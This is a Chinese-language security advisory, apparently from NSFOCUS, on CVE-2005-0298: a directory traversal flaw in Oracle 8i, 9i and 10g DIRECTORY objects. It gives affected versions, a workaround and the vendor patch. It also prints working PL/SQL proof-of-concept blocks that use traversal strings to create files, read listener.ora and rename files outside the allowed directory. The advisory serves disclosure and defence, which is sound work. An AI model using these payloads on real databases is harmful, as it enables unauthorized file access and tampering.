安全研究

安全漏洞
Oracle 8i/9i DIRECTORY对象远程目录遍历文件操作漏洞

发布日期:2005-01-18
更新日期:2005-01-19

受影响系统:
Oracle Oracle8i
Oracle Oracle9i Standard Edition 9.2.0.4
Oracle Oracle9i Standard Edition 9.2.0.1
Oracle Oracle9i Personal Edition 9.2.0.4
Oracle Oracle9i Personal Edition 9.2.0.1
Oracle Oracle9i Enterprise Edition 9.2.0.4
Oracle Oracle9i Enterprise Edition 9.2.0.1
Oracle Oracle10g Application Server 9.0.4.0
Oracle Oracle10g Application Server 10.1.0.2
Oracle Oracle10g Enterprise Edition 9.0.4.0
Oracle Oracle10g Enterprise Edition 10.1.0.2
Oracle Oracle10g Personal Edition 9.0.4.0
Oracle Oracle10g Personal Edition 10.1.0.2
Oracle Oracle10g Standard Edition 9.0.4.0
Oracle Oracle10g Standard Edition 10.1.0.2
描述:
CVE(CAN) ID: CVE-2005-0298

Oracle是一款大型商业数据库软件。

Oracle处理DIRECTORY对象存在问题,远程攻击者可以利用这个漏洞遍历目录执行文件操作。

用于Oralce数据库的Directory对象用于执行访问文件系统的功能,用户要访问文件系统必须创建一个Directory对象并赋于相应的权限,这个对象指向文件系统上的一个目录,服务器进程对于用户指定的目录字串没有充分的过滤,远程攻击者可能利用特定的字串输入遍历文件系统执行文件操作。

如下的PL/SQL过程可以执行各种文件操作:

在驱动器上创建文件
declare
f utl_file.file_type;
begin
f:=UTL_FILE.FOPEN ('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\Unbreakable.txt','w',1000);
UTL_FILE.PUT_LINE (f,'Sure',TRUE);
UTL_FILE.FCLOSE(f);
end;

读取文件
SET SERVEROUTPUT ON
declare
f utl_file.file_type;
sBuffer Varchar(8000);
begin
f:=UTL_FILE.FOPEN ('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\OracleDir\ora90\network\ADMIN\listener.ora','r');
loop
  UTL_FILE.GET_LINE (f,sBuffer);
  DBMS_OUTPUT.PUT_LINE(sBuffer);
end loop;
EXCEPTION
when no_data_found then
UTL_FILE.FCLOSE(f);
end;

改名文件
begin
UTL_FILE.frename('MEDIA_DIR','\\.\\..\\.\\..\\.\\FileToRename','MEDIA_DIR','\\.\\..\\.\\..\\.\\Unbreakable.txt',TRUE);
end;


<*来源:Pete Finnigan (pete@peterfinnigan.demon.co.uk
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110608912525883&w=2
        http://www.petefinnigan.com/directory_traversal.pdf
        http://www.argeniss.com/research/ARGENISS-ADV-030501.txt
*>

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 检查检查存在的目录对象并设置正确的访问权限:

http://www.petefinnigan.com/who_can_access.sql

厂商补丁:

Oracle
------
建议用户采用Orache在CPU– January 2005安全公告中提供的补丁:

http://metalink.oracle.com/metalink/plsql/ml2_documents.showDocument?p_database_id=NOT&p_id=293737.1

浏览次数:4303
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障